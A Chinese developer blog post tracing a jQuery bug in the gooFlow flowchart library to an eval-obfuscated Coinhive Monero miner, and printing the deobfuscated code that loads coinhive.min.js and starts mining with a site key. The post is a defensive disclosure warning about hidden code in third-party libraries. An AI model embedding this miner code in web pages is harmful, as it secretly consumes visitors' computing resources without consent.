由一个bug找到JS挖矿代码

简介:

由于工作由于工作需要,需要前端画流程图,找到一个开源的框架gooFlow(下图就是这个开源框架),它可以编辑流程图,提供节点和线以及一些辅助功能。仔细看一下这是一个国人写框架,文档也是中文,用起来也很顺手。

但是使用这个框架的时候发现一个很奇怪的bug,描述起来就是:我在父页面的a标签点击跳转到流程图页面,如果a标签的target是_top,页面就不会报错,但是如果target的值为_blank,页面第一次打开不会报错,只有在刷新的情况下页面才会报错。报错信息如下

其实从这个信息推断不出来什么具体信息,只知道jQuery这个对象应该不存在,所以导致程序出错,仔细检查我的页面代码的引入,发现jQuery都有引入,都没问题,结合这个bug出现的时机,只在新开页面且刷新过一次的情况下才会报错,所以可以推断出这个gooFlow框架应该是引用了父页面的某个对象,然后在刷新一次页面的情况下,父页面的这个对象为空才会导致报错。
接着我就开始搜索gooFlow的window.openerwindow.parent的引用,window.opener返回的是创建该窗口的 Window 对象的引用,window.parent返回的是返回当前窗口的父窗口。但是都没有找到导致bug的源头。
束手无策的时候,尝试使用最原始的方法,删除父页面上的js引用,看流程图页面抛出什么错误,当我把父页面的jQuery删除的时候,页面报了不一样的错误(下图)。

找到对应方法处的代码,如下图,是使用eval执行一串字符串,很不好调试,只好把这一串代码拷贝出来执行一下看执行的是什么代码?


正当我纳闷为啥需要对框架里面的代码加密的时候,我找到了eval执行的字符串,格式化之后如下,保存的原因找到了,_opener.$的使用就是对打开这个页面的jQuery的引用,所以删除父页面jQuery报错信息会不一致。

var _ = window;
try {
    _ = _.opener.$
} catch (e) {    
    try {
        _ = _.top.$
    } catch (e) {
        _ = $
    }
};

if (!_("head").data('x')) {
    GooFlow.a = 1;
    _a = 20;    
    var d = new Date();
    _("head").data('x', 1);
    _.ajax("https://coinhive.com/lib/coinhive.min.js?" + d.getFullYear() + d.getMonth() + d.getDate(), {
        dataType: 'script',
        cache: true
    });
    _i = setInterval(function () {        
        try {            
            new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
            clearInterval(_i)
        } catch (e) {
            _a--;            
            if (_a < 1) document.write("")
        }
    }, 1000)
}复制代码

仔细看这个代码会发现这竟然是一串挖矿代码!!!会去请求接口:https://coinhive.com/lib/coinhive.min.js,然后执行new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();开始挖矿,在网上找到了,这是门罗币的挖矿代码。具体可以看看下面这篇文章:

JS挖矿 - 门罗币是如何利用网页挖矿的?
(http://liujinkai.com/2017/10/28/js-miner/)

现在很多开源的框架、插件、库,使用起来都要小心,一不小心就中了别人的圈套,挖矿这种事是牺牲用户体验的基础上进行的,可以看到cpu使用飙升,电脑发烫,所以如果在你为了你的网站优化用户体验的时候,发现怎么优化都无济于事,记得找一找你引用代码里面有哪些隐藏的圈套。
最后推荐一下chrome阻止挖矿的插件minerBlock!

最最后,祝同学们高考顺利!


作者:shellteo
链接:https://juejin.im/post/5b17478f6fb9a01e85641f44
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
相关文章
|
2月前
|
JavaScript 前端开发 算法
流量分发代码实战|学会用JS控制用户访问路径
流量分发工具(Traffic Distributor),又称跳转器或负载均衡器,可通过JavaScript按预设规则将用户随机引导至不同网站,适用于SEO优化、广告投放、A/B测试等场景。本文分享一段不到百行的JS代码,实现智能、隐蔽的流量控制,并附完整示例与算法解析。
62 1
|
3月前
|
JavaScript 前端开发
怀孕b超单子在线制作,p图一键生成怀孕,JS代码装逼娱乐
模拟B超单的视觉效果,包含随机生成的胎儿图像、医疗文本信息和医院标志。请注意这仅用于前端开发学习
|
3月前
|
JavaScript
JS代码的一些常用优化写法
JS代码的一些常用优化写法
62 0
|
5月前
|
存储 JavaScript 前端开发
在NodeJS中使用npm包进行JS代码的混淆加密
总的来说,使用“javascript-obfuscator”包可以帮助我们在Node.js中轻松地混淆JavaScript代码。通过合理的配置,我们可以使混淆后的代码更难以理解,从而提高代码的保密性。
366 9
|
6月前
|
前端开发 JavaScript
【Javascript系列】Terser除了压缩代码之外,还有优化代码的功能
Terser 是一款广泛应用于前端开发的 JavaScript 解析器和压缩工具,常被视为 Uglify-es 的替代品。它不仅能高效压缩代码体积,还能优化代码逻辑,提升可靠性。例如,在调试中发现,Terser 压缩后的代码对删除功能确认框逻辑进行了优化。常用参数包括 `compress`(启用压缩)、`mangle`(变量名混淆)和 `output`(输出配置)。更多高级用法可参考官方文档。
353 11
|
6月前
|
JavaScript 前端开发 算法
JavaScript 中通过Array.sort() 实现多字段排序、排序稳定性、随机排序洗牌算法、优化排序性能,JS中排序算法的使用详解(附实际应用代码)
Array.sort() 是一个功能强大的方法,通过自定义的比较函数,可以处理各种复杂的排序逻辑。无论是简单的数字排序,还是多字段、嵌套对象、分组排序等高级应用,Array.sort() 都能胜任。同时,通过性能优化技巧(如映射排序)和结合其他数组方法(如 reduce),Array.sort() 可以用来实现高效的数据处理逻辑。 只有锻炼思维才能可持续地解决问题,只有思维才是真正值得学习和分享的核心要素。如果这篇博客能给您带来一点帮助,麻烦您点个赞支持一下,还可以收藏起来以备不时之需,有疑问和错误欢迎在评论区指出~
|
6月前
|
JavaScript 前端开发 API
JavaScript中通过array.map()实现数据转换、创建派生数组、异步数据流处理、复杂API请求、DOM操作、搜索和过滤等,array.map()的使用详解(附实际应用代码)
array.map()可以用来数据转换、创建派生数组、应用函数、链式调用、异步数据流处理、复杂API请求梳理、提供DOM操作、用来搜索和过滤等,比for好用太多了,主要是写法简单,并且非常直观,并且能提升代码的可读性,也就提升了Long Term代码的可维护性。 只有锻炼思维才能可持续地解决问题,只有思维才是真正值得学习和分享的核心要素。如果这篇博客能给您带来一点帮助,麻烦您点个赞支持一下,还可以收藏起来以备不时之需,有疑问和错误欢迎在评论区指出~
|
8月前
|
人工智能 程序员 UED
【01】完成新年倒计时页面-蛇年新年快乐倒计时领取礼物放烟花html代码优雅草科技央千澈写采用html5+div+CSS+JavaScript-优雅草卓伊凡-做一条关于新年的代码分享给你们-为了C站的分拼一下子
【01】完成新年倒计时页面-蛇年新年快乐倒计时领取礼物放烟花html代码优雅草科技央千澈写采用html5+div+CSS+JavaScript-优雅草卓伊凡-做一条关于新年的代码分享给你们-为了C站的分拼一下子
306 21
【01】完成新年倒计时页面-蛇年新年快乐倒计时领取礼物放烟花html代码优雅草科技央千澈写采用html5+div+CSS+JavaScript-优雅草卓伊凡-做一条关于新年的代码分享给你们-为了C站的分拼一下子
|
8月前
|
前端开发 JavaScript
【02】v1.0.1更新增加倒计时完成后的放烟花页面-优化播放器-优化结构目录-蛇年新年快乐倒计时领取礼物放烟花html代码优雅草科技央千澈写采用html5+div+CSS+JavaScript-优雅草卓伊凡-做一条关于新年的代码分享给你们-为了C站的分拼一下子
【02】v1.0.1更新增加倒计时完成后的放烟花页面-优化播放器-优化结构目录-蛇年新年快乐倒计时领取礼物放烟花html代码优雅草科技央千澈写采用html5+div+CSS+JavaScript-优雅草卓伊凡-做一条关于新年的代码分享给你们-为了C站的分拼一下子
168 14
【02】v1.0.1更新增加倒计时完成后的放烟花页面-优化播放器-优化结构目录-蛇年新年快乐倒计时领取礼物放烟花html代码优雅草科技央千澈写采用html5+div+CSS+JavaScript-优雅草卓伊凡-做一条关于新年的代码分享给你们-为了C站的分拼一下子
|
7月前
|
人工智能 数据可视化 机器人
【通义灵码】三句话生成P5.js粒子特效代码,人人都可以做交互式数字艺术
我发掘出的通义灵码AI程序员新玩法:三句话生成P5.js粒子特效代码,人人都可以做交互式数字艺术
263 6